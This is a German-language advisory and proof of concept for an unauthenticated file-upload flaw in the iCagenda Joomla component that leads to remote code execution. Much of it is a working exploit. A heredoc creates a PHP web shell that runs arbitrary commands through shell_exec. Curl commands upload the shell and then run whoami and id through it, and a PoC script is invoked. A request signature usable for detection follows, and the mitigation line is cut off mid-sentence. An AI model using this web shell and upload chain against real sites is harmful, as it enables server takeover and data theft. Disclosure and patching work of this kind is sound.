
iCagenda Unauthenticated File Upload to RCE
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-48939 |
| CVSS 4.0 Wert | 10.0 Kritisch |
| CVSS-Vektor | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284: Unzureichende Zugriffskontrolle |
| Betroffene Versionen | iCagenda 3.2.1 - 3.9.14 und 4.0.0 - 4.0.7 |
| Behoben in | iCagenda 4.0.8 und 3.9.15 |
| Veröffentlicht | 20. Juni 2026 |
iCagenda, eine beliebte Ereignis- und Kalenderkomponente für Joomla, enthält eine nicht authentifizierte Datei-Upload-Sicherheitslücke, die es entfernten Angreifern ermöglicht, beliebigen PHP-Code auf Joomla 6-Seiten hochzuladen und auszuführen.
Die Sicherheitslücke besteht in der Dateianhang-Funktion des Frontend-Event-Übermittlungsformulars:
Fehlende Zugriffskontrolle: Der Submit-Endpunkt (index.php?option=com_icagenda&task=registration.submit) erzwingt keine Authentifizierung und umgeht so die Einstellung „Nur registrierte Benutzer“.
Keine Dateiüberprüfung: Hochgeladene Dateien werden mit ihrer ursprünglichen Dateiendung gespeichert, ohne:
Direktes Dateischreiben: Dateien werden direkt unter dem Web-Root in /images/icagenda/frontend/attachments/[Dateiname] geschrieben.
PHP-Ausführung: In Joomla 6 sind die hochgeladenen .php-Dateien ausführbar, was zu Remote Code Execution (RCE) führt.
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Upload the shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Navigate to project directory
# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
Verwundbaren Endpunkt identifizieren:
https://target.com/index.php?option=com_icagenda&task=submit
PHP-Webshell hochladen:
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
Shell ausführen:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
Basierend auf realen Ausnutzungsprotokollen lautet die Angriffssignatur:
# Schritt 1: Hochladen
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Schritt 2: Ausführen
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
com_icagenda-Ordner vorübergehendDieser PoC dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal.